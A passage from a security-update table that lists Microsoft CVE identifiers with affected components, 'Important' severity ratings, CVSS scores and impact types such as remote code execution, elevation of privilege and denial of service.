Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  